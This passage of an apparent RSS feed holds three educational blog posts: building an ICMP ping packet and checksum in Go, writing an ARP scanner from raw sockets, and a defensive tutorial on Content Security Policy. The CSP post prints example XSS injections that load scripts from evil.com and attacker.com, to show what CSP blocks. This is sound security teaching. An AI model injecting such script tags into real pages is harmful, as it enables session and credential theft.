we understand the ICMP header, let’s construct an Echo Request.</p><pre>func BuildPacket(i UserInputs) []byte {<br>    packet := make([]byte, 8+len(i.Message))</pre><pre>    packet[0] = 8 // Echo Request<br>    packet[1] = 0 // Code</pre><pre>    binary.BigEndian.PutUint16(packet[4:6], 51) // Identifier<br>    binary.BigEndian.PutUint16(packet[6:8], 61) // Sequence</pre><pre>    copy(packet[8:], []byte(i.Message))</pre><pre>    binary.BigEndian.PutUint16(packet[2:4], checksum(packet))</pre><pre>    return packet<br>}</pre><p>There are a few important things happening here.</p><h3>Allocating the packet</h3><pre>packet := make([]byte, 8+len(i.Message))</pre><p>We know the ICMP header requires <strong>8 bytes</strong>.</p><p>Then we add enough space for our message.</p><p>For example, if:</p><pre>len(message) = 5</pre><p>then:</p><pre>8 + 5 = 13 bytes</pre><p>So our packet will contain:</p><pre>8 bytes  → ICMP header<br>5 bytes  → Message<br>-------------------<br>13 bytes → Total</pre><h3>Writing the Message</h3><p>This line:</p><pre>copy(packet[8:], []byte(i.Message))</pre><p>means:</p><blockquote><em>Start writing the message at byte 8.</em></blockquote><p>Why byte 8?</p><p>Because bytes 0-7 are already occupied by the ICMP header.</p><pre>0       → Type<br>1       → Code<br>2-3     → Checksum<br>4-5     → Identifier<br>6-7     → Sequence</pre><pre>8...    → Message / Data</pre><p>That’s why we allocate:</p><pre>8 + len(i.Message)</pre><p>instead of simply:</p><pre>len(i.Message)</pre><h3>Checksum — The Core Part</h3><p>Now we reach one of the most important parts of the ICMP packet:</p><p><strong>the checksum.</strong></p><p>Our checksum function is:</p><pre>func checksum(data []byte) uint16 {<br>    var sum uint32</pre><pre>    // Process 16-bit words<br>    for i := 0; i+1 &lt; len(data); i += 2 {<br>        word := uint16(data[i])&lt;&lt;8 | uint16(data[i+1])<br>        sum += uint32(word)<br>    }</pre><pre>    // Handle odd byte<br>    if len(data)%2 != 0 {<br>        sum += uint32(data[len(data)-1]) &lt;&lt; 8<br>    }</pre><pre>    // End-around carry<br>    for (sum &gt;&gt; 16) != 0 {<br>        sum = (sum &amp; 0xFFFF) + (sum &gt;&gt; 16)<br>    }</pre><pre>    return ^uint16(sum)<br>}</pre><p>Let’s break it down.</p><h3>Step 1 — Pair the Bytes</h3><p>ICMP uses a <strong>16-bit one’s-complement checksum</strong>.</p><p>That means we process the packet as <strong>16-bit words</strong>.</p><p>So we take two bytes at a time.</p><p>For example, suppose the packet contains:</p><pre>34 34 35 43 34 43</pre><p>We group them like this:</p><pre>34 34  →  0x3434<br>35 43  →  0x3543<br>34 43  →  0x3443</pre><p>In Go:</p><pre>word := uint16(data[i])&lt;&lt;8 | uint16(data[i+1])</pre><p>We’re combining two 8-bit bytes into one 16-bit value.</p><h3>What If the Packet Has an Odd Number of Bytes?</h3><p>What happens if the packet contains an odd number of bytes?</p><p>For the checksum calculation, the final byte is treated as the <strong>high byte</strong> of a 16-bit word, with the low byte considered zero.</p><p>For example:</p><pre>0x34</pre><p>becomes:</p><pre>0x3400</pre><p>That’s what this does:</p><pre>data[len(data)-1] &lt;&lt; 8</pre><p>So:</p><pre>34</pre><p>becomes:</p><pre>34 00</pre><p>before being added to the checksum sum.</p><h3>Why Is sum a uint32?</h3><p>You might notice something interesting.</p><p>The checksum is ultimately:</p><pre>uint16</pre><p>So why do we use:</p><pre>var sum uint32</pre><p>during the calculation?</p><p>Because adding two 16-bit values can produce a result larger than 16 bits.</p><p>For example:</p><pre>0xFFFF<br>+0x0001<br>-------<br>0x10000</pre><p>0x10000 requires <strong>17 bits</strong>.</p><p>So we use uint32 to safely hold the intermediate result.</p><p>Later, we fold the result back into 16 bits.</p><h3>Step 2 — End-Around Carry</h3><p>This is where <strong>one’s-complement addition</strong> becomes important.</p><p>Consider:</p><pre>sum = 0x10002</pre><p>The lower 16 bits are:</p><pre>0x0002</pre><p>The carry is:</p><pre>0x0001</pre><p>Instead of throwing the carry away, we add it back:</p><pre>0x0002<br>+ 0x0001<br>---------<br>  0x0003</pre><p>This is called an <strong>end-around carry</strong>.</p><p>Our code performs this operation:</p><pre>for (sum &gt;&gt; 16) != 0 {<br>    sum = (sum &amp; 0xFFFF) + (sum &gt;&gt; 16)<br>}</pre><p>Here:</p><pre>sum &amp; 0xFFFF</pre><p>gets the lower 16 bits.</p><p>And:</p><pre>sum &gt;&gt; 16</pre><p>gets the carry.</p><p>We continue until there is no carry left.</p><h3>Step 3 — One’s Complement</h3><p>Finally:</p><pre>return ^uint16(sum)</pre><p>The ^ operator performs a <strong>bitwise NOT</strong>.</p><p>So every bit is inverted.</p><p>For example:</p><pre>Sum:<br>0001 0010 0011 0100</pre><pre>One&#39;s complement:<br>1110 1101 1100 1011</pre><p>In hexadecimal:</p><pre>Sum       = 0x1234<br>Checksum  = 0xEDCB</pre><p>Because they are one’s complements of each other:</p><pre>0x1234<br>0xEDCB</pre><p>their bitwise OR is:</p><pre>0xFFFF</pre><pre>0x1234<br>   OR<br>0xEDCB<br>------<br>0xFFFF</pre><p><strong>Important:</strong> this OR relationship is useful for understanding that the checksum is the one&#39;s complement of the sum. It is <strong>not itself the checksum validation algorithm</strong>.</p><p>During actual validation, the receiver performs the one’s-complement checksum calculation over the received message, including the checksum field. A correctly formed message produces the expected all-ones result under that arithmetic.</p><h3>Why Do We Use a Checksum?</h3><p>The checksum allows the receiver to detect corruption in the ICMP message during transmission.</p><p>The sender:</p><pre>Data<br>  ↓<br>One&#39;s-complement sum<br>  ↓<br>One&#39;s complement<br>  ↓<br>Checksum</pre><p>The checksum is placed into the ICMP header before the packet is sent.</p><p>The receiver can then perform the checksum calculation on the received ICMP message to verify its integrity.</p><p>It is important to remember that a checksum is an <strong>error-detection mechanism</strong>, not a cryptographic integrity or authentication mechanism.</p><h3>Echo Request</h3><p>At this point, we’ve constructed our ICMP Echo Request.</p><p>Our packet contains:</p><pre>┌──────────────────────────┐<br>│ Type                     │<br>│ Code                     │<br>│ Checksum                 │<br>│ Identifier               │<br>│ Sequence                 │<br>├──────────────────────────┤<br>│ Message / Data           │<br>└──────────────────────────┘</pre><p>The resulting byte slice contains:</p><pre>ICMP Header + Message</pre><p>For example:</p><pre>[8, 0, ..., ..., ..., ..., ..., ..., ...]</pre><p>where:</p><pre>8 → ICMP Echo Request<br>0 → ICMP Code</pre><p>The checksum is calculated <strong>after</strong> the rest of the packet has been constructed.</p><h3>But We Haven’t Sent Anything Yet…</h3><p>So far, we’ve only created the <strong>ICMP message as bytes</strong>.</p><p>We haven’t actually communicated with the target.</p><p>That’s the next layer of the problem.</p><p>We need a socket interface that allows our application to communicate with the networking stack.</p><p>In the next part, we’ll move from:</p><pre>Application<br>     ↓<br>Build ICMP bytes</pre><p>to:</p><pre>Application<br>     ↓<br>Socket<br>     ↓<br>Kernel networking stack<br>     ↓<br>Network<br>     ↓<br>Target</pre><p>And we’ll see what actually happens when we send that Echo Request.</p><h3>Part 2 — From Bytes to the Network</h3><p>We’ve built the ICMP packet.</p><p>But a packet sitting inside a []byte isn&#39;t going anywhere.</p><p><strong>How do those bytes actually reach the network?</strong></p><p>In Part 2, we’ll open the socket, communicate with the kernel’s networking stack, send our ICMP Echo Request, and inspect the Echo Reply coming back from the target.</p><p><strong>That’s where things get interesting.</strong></p><p>Stay tuned. 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56540f63388e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stop Reading Networking. Start Building Packets.]]></title>
            <link>https://medium.com/@termtrix/stop-reading-networking-start-building-packets-af9dd985be1f?source=rss-66954bf63d4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/af9dd985be1f</guid>
            <category><![CDATA[network-packets]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[TΞRMTRIX]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 16:24:42 GMT</pubDate>
            <atom:updated>2026-08-19T16:24:42.094Z</atom:updated>
            <content:encoded><![CDATA[<p>I spent years reading about the OSI model.</p><p>Layers. Protocols. TCP/IP. ARP.</p><p>I understood the words — but not the network.</p><p>Then I built an <strong>ARP scanner from scratch in Go</strong>.</p><p>No gopacket. No pcap. No networking framework.</p><p>Just a raw socket and bytes.</p><p>And suddenly networking started making sense.</p><h3>The moment it clicked</h3><p>An ARP Ethernet frame isn’t some abstract concept from a textbook.</p><p>It’s bytes.</p><pre>0–5     Destination MAC<br>6–11    Source MAC<br>12–13   EtherType → 0x0806 (ARP)<br>14–41   ARP payload</pre><p>One wrong offset and things break.</p><p>One byte in the wrong place and you’re staring at an empty socket wondering what went wrong.</p><p>I even lost an hour because I got <strong>network byte order</strong> wrong.</p><p>That tiny bug taught me more about networking than hours of reading documentation.</p><h3>The scanner itself is surprisingly simple</h3><p>The idea is basically:</p><pre>Generate IPs<br>     ↓<br>Build ARP request<br>     ↓<br>Send Ethernet frame<br>     ↓<br>Receive ARP replies<br>     ↓<br>IP + MAC</pre><p>I used Go goroutines and channels to scan multiple addresses concurrently.</p><p>That’s it.</p><p>But building every part myself forced me to understand what was actually happening underneath the abstractions.</p><h3>That’s the real lesson</h3><p><strong>Reading gives you vocabulary.<br>Building gives you a mental model.</strong></p><p>You can read about TCP for years.</p><p>Or you can open a socket and ask:</p><blockquote><em>What actually happens when I send these bytes?</em></blockquote><p>That’s when networking becomes real.</p><h3>Try building one protocol yourself</h3><p>Start small:</p><ul><li>ARP scanner</li><li>Raw ICMP ping</li><li>DNS resolver over UDP</li><li>TCP SYN scanner</li><li>HTTP server over a bare TCP listener</li></ul><p>Don’t start with another framework.</p><p>Start with the protocol.</p><p><strong>Your first implementation will probably be ugly.</strong></p><p>Good.</p><p>The bugs are where the learning happens.</p><p>I’m building these experiments through <strong>TΞRMTRIX</strong>, a community for developers who want to understand technology by building it from the ground up.</p><p><a href="https://github.com/TermTrix/termtrix-netscout">https://github.com/TermTrix/termtrix-netscout</a></p><p><strong>Stop memorizing networking. Build it.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af9dd985be1f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Content Security Policy (CSP): The Security Header Every Web Application Needs]]></title>
            <link>https://medium.com/@termtrix/content-security-policy-csp-the-security-header-every-web-application-needs-a2865fc9ee4d?source=rss-66954bf63d4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2865fc9ee4d</guid>
            <category><![CDATA[servers]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[csp]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[nginx]]></category>
            <dc:creator><![CDATA[TΞRMTRIX]]></dc:creator>
            <pubDate>Fri, 07 Aug 2026 15:28:58 GMT</pubDate>
            <atom:updated>2026-08-07T15:28:58.288Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BhI7HpxN0AlSH-gF4ZtG1g.png" /></figure><p>Imagine you’ve built a beautiful web application. It has authentication, role-based access control, HTTPS, and input validation. Everything seems secure.</p><p>Then one day, an attacker finds a small Cross-Site Scripting (XSS) vulnerability. They inject a malicious JavaScript file into one of your pages.</p><p>When a user visits the page, their browser happily downloads and executes the attacker’s code.</p><p>The attacker can now:</p><ul><li>Steal session cookies</li><li>Read sensitive data displayed on the page</li><li>Perform actions on behalf of the user</li><li>Redirect users to phishing websites</li><li>Capture login credentials</li></ul><p>Scary, right?</p><p>This is exactly where <strong>Content Security Policy (CSP)</strong> becomes one of the most powerful defenses in modern web security.</p><h3>What is Content Security Policy?</h3><p>Content Security Policy (CSP) is an HTTP response header that tells the browser <strong>which resources are trusted</strong> and <strong>which ones should be blocked</strong>.</p><p>Instead of allowing JavaScript, CSS, images, fonts, or other resources from anywhere on the internet, you explicitly define a whitelist of approved sources.</p><p>Think of it as giving your browser a security rulebook.</p><p>Without CSP, the browser assumes every resource is safe.</p><p>With CSP, the browser asks:</p><blockquote><em>“Is this resource coming from an approved source?”</em></blockquote><p>If the answer is <strong>no</strong>, the browser refuses to load it.</p><h3>The Problem Without CSP</h3><p>Consider this HTML page:</p><pre>&lt;script src=&quot;/js/app.js&quot;&gt;&lt;/script&gt;</pre><p>Everything works normally.</p><p>Now imagine an attacker exploits an XSS vulnerability and injects:</p><pre>&lt;script src=&quot;https://evil.com/steal.js&quot;&gt;&lt;/script&gt;</pre><p>Without a Content Security Policy, the browser has no reason to distrust that script.</p><p>It simply downloads it and executes it.</p><p>From the browser’s perspective, JavaScript is JavaScript.</p><h3>How CSP Solves This</h3><p>Now suppose your server returns this header:</p><pre>Content-Security-Policy:<br>script-src &#39;self&#39;;</pre><p>This policy tells the browser:</p><blockquote><em>Only execute JavaScript served from the same origin.</em></blockquote><p>When the browser encounters:</p><pre>&lt;script src=&quot;/js/app.js&quot;&gt;&lt;/script&gt;</pre><p>✅ Allowed</p><p>When it encounters:</p><pre>&lt;script src=&quot;https://evil.com/steal.js&quot;&gt;&lt;/script&gt;</pre><p>❌ Blocked</p><p>The malicious code never runs.</p><p>The attack stops before it starts.</p><h3>A Real-World Example</h3><p>Imagine you own an online banking website.</p><p>Your application loads JavaScript from:</p><ul><li>Your own domain</li><li>A trusted payment provider</li><li>A trusted analytics provider</li></ul><p>Your CSP might look like this:</p><pre>Content-Security-Policy:<br>default-src &#39;self&#39;;<br>script-src &#39;self&#39; https://payments.example.com https://analytics.example.com;</pre><p>Now, even if an attacker injects:</p><pre>&lt;script src=&quot;https://attacker.com/bank.js&quot;&gt;&lt;/script&gt;</pre><p>The browser blocks it because attacker.com is not on the trusted list.</p><p>The attacker successfully injected HTML — but failed to execute their JavaScript.</p><p>That’s a huge security win.</p><h3>CSP Isn’t Just for JavaScript</h3><p>One common misconception is that CSP only protects scripts.</p><p>In reality, it can control almost every type of resource.</p><p>For example:</p><pre>Content-Security-Policy:<br>default-src &#39;self&#39;;<br>script-src &#39;self&#39;;<br>style-src &#39;self&#39;;<br>img-src &#39;self&#39; https://images.example.com;<br>font-src https://fonts.gstatic.com;<br>connect-src https://api.example.com;</pre><p>This policy restricts:</p><ul><li>JavaScript sources</li><li>CSS files</li><li>Images</li><li>Fonts</li><li>AJAX and Fetch requests</li><li>WebSockets</li><li>Workers</li><li>Frames</li><li>Media</li><li>Objects</li></ul><p>Instead of trusting the entire internet, you trust only what your application actually needs.</p><h3>CSP Helps Reduce the Impact of XSS</h3><p>It’s important to understand what CSP is — and what it isn’t.</p><p>CSP <strong>does not fix</strong> vulnerabilities in your application.</p><p>If your application has an XSS bug, the bug still exists.</p><p>What CSP does is <strong>reduce the damage</strong> an attacker can do.</p><p>Think of it like wearing a seatbelt.</p><p>A seatbelt doesn’t prevent car accidents.</p><p>It reduces the consequences when an accident happens.</p><p>Similarly, CSP doesn’t eliminate every XSS vulnerability, but it makes many attacks far less effective.</p><h3>Defense in Depth</h3><p>Security should never rely on a single layer.</p><p>A secure application combines multiple protections:</p><ul><li>Input validation</li><li>Output encoding</li><li>Parameterized database queries</li><li>Authentication</li><li>Authorization</li><li>HTTPS</li><li>Secure cookies</li><li>Content Security Policy</li></ul><p>If one defense fails, another can still stop the attack.</p><p>This layered approach is known as <strong>defense in depth</strong>, and CSP is an important part of that strategy.</p><h3>Common CSP Directives</h3><p>Here are some of the most frequently used directives:</p><p>DirectivePurposedefault-srcDefault policy for all resource typesscript-srcAllowed JavaScript sourcesstyle-srcAllowed CSS sourcesimg-srcAllowed image sourcesfont-srcAllowed font sourcesconnect-srcAllowed API, Fetch, and WebSocket connectionsframe-srcAllowed iframe sourcesobject-srcAllowed plugins like Flash (usually set to &#39;none&#39;)</p><h3>A Good Starting Policy</h3><p>A simple policy for many applications might look like:</p><pre>Content-Security-Policy:<br>default-src &#39;self&#39;;<br>script-src &#39;self&#39;;<br>style-src &#39;self&#39;;<br>img-src &#39;self&#39; data:;<br>object-src &#39;none&#39;;<br>frame-ancestors &#39;none&#39;;<br>base-uri &#39;self&#39;;</pre><p>This isn’t suitable for every application, but it demonstrates a strong baseline by allowing only essential resources and disabling risky features.</p><h3>Best Practices</h3><p>When implementing CSP:</p><ul><li>Start with a restrictive policy and loosen it only when necessary.</li><li>Avoid using &#39;unsafe-inline&#39; and &#39;unsafe-eval&#39; whenever possible.</li><li>Prefer nonces or hashes for inline scripts instead of allowing all inline code.</li><li>Test your policy using <strong>Report-Only</strong> mode before enforcing it.</li><li>Review and update your policy as your application evolves.</li></ul><p>A carefully designed CSP is far more effective than a permissive one.</p><h3>Final Thoughts</h3><p>Modern web applications depend on JavaScript, third-party libraries, APIs, and external services. Every additional dependency expands the potential attack surface.</p><p>Content Security Policy gives developers a way to tell the browser exactly which resources are trusted and which are not.</p><p>It won’t replace secure coding practices, but it adds an essential layer of protection against one of the web’s most common attack vectors.</p><p>If your application is already using HTTPS, secure cookies, and input validation, implementing CSP is a logical next step. It’s a relatively small configuration change that can significantly reduce the impact of successful XSS attacks and strengthen your overall security posture.</p><p>In web security, preventing every vulnerability is difficult. Limiting the damage when one slips through is just as important — and that’s exactly where Content Security Policy shines.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2865fc9ee4d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>